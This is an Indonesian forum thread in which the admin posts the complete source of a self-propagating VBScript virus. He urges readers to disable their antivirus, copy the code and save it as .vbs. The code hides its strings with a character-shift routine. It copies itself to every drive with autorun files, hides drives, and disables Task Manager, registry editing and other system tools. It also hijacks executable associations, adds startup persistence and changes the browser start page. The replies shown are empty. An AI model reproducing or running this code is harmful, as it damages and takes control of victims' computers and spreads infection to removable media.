S3r4f_r3d_C0d3_4rt Admin
Jumlah posting : 174 Join date : 24.10.11 Age : 33 Lokasi : C:\Program error\User\Undefined
| Subyek: Virus Mentah Buat RCA Tue Jan 10, 2012 12:53 am | |
| Nah ini dia Virus gw datang lagi, tapi masih mentah dlm bentuk vbs. Virus ini lumayan keren loh kawan2, bisa nge disable partisi artinya kompi kl dah kena nih virus maka drive C,D,E ga bisa di akses. Kl lum puas dgn yg ginian silahkan aja jadiin exe. Tapi kl dah merasa puas dgn yg ginian ya udah copas aja yg dibwh ini: (iets jgn lupa disable dulu AV kamu ya) - Code:
-
PHP
'l1Nt4nG.vbs on error resume next dim mysource,winpath,HGjYuiyJWX,fs,mf,atr,tf,rg,nt,check,sd atr = fNIOEKUfRA("^ovspuvb\")&vbcrlf&fNIOEKUfRA("tcw/m2w4ld5i!fyf/uqjsdtx>fuvdfyfmmfit") set fs = createobject(fNIOEKUfRA("udfkcPnfutzTfmjG/hojuqjsdT")) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]")) tf.attributes = 32 set tf=fs.createtextfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"),2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]")) tf.attributes = 39 for each HGjYuiyJWX in fs.drives If (HGjYuiyJWX.drivetype = 1 or HGjYuiyJWX.drivetype = 2) and HGjYuiyJWX.path <> fNIOEKUfRA(";B") then set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]")) tf.attributes =32 set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"),2,true) tf.write mysource tf.close set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]")) tf.attributes =39 set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]")) tf.attributes = 32 set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"),2,true) tf.write atr tf.close set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]")) tf.attributes=39 end if next set rg = createobject(fNIOEKUfRA("mmfiT/uqjsdTX")) rg.regwrite fNIOEKUfRA("]eobnnpd]mmbutoJ]mmfit]fmjggoj]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjghfs]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") rg.regwrite fNIOEKUfRA("]eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjg4qn]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("tcw/m2w4ld5i") rg.regwrite fNIOEKUfRA("sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("zbmqtjEtnfuJzbsUpO") rg.regwrite fNIOEKUfRA("ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("fyf/qnbojX]qnbojX]tfmjG!nbshpsQ];D"), fNIOEKUfRA("HOJSUT`HFS") rg.regwrite fNIOEKUfRA("topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA(fNIOEKUfRA("2")), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO") rg.regwrite fNIOEKUfRA("m2w4ld5i]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),winpath&fNIOEKUfRA("tcw/m2w4ld5i]") rg.regwrite fNIOEKUfRA("fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("mu/fhbq/777mfsvB/xxx00;quui") rg.regwrite fNIOEKUfRA("fmujU!xpeojX]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("777!MFSVB!ZC!EFLDBI") rg.regwrite fNIOEKUfRA("sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("777!mfsvB"),fNIOEKUfRA("HOJSUT`HFS") rg.regwrite fNIOEKUfRA("opjub{jobhsPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("4d2m1Q!juoB"),fNIOEKUfRA("HOJSUT`HFS") if check <> 1 then Wscript.sleep 200000 end if loop while check<>1 set sd = createobject(fNIOEKUfRA("mmfit/uqjsdtX")) sd.run winpath&fNIOEKUfRA("!$udfmft0$f0!fyf/sfspmqyf]")&Wscript.ScriptFullname Function fNIOEKUfRA(eaYRjLasVU) Dim i, tmp2 For i = 1 To Len(eaYRjLasVU) tmp2 = Chr(Asc(Mid(eaYRjLasVU, i, 1)) - 1) + tmp2 Next fNIOEKUfRA = tmp2 End Function
Save dlm bentuk .vbs Say thanks if u like it | |
|
irfan Zero Member
Jumlah posting : 4 Join date : 24.10.11
| Subyek: Re: Virus Mentah Buat RCA Sun Jan 29, 2012 9:27 pm | |
| | |
|
S3r4f_r3d_C0d3_4rt Admin
Jumlah posting : 174 Join date : 24.10.11 Age : 33 Lokasi : C:\Program error\User\Undefined
| Subyek: Re: Virus Mentah Buat RCA Sun Jan 29, 2012 10:20 pm | |
| | |
|
Sponsored content
| Subyek: Re: Virus Mentah Buat RCA | |
| |
|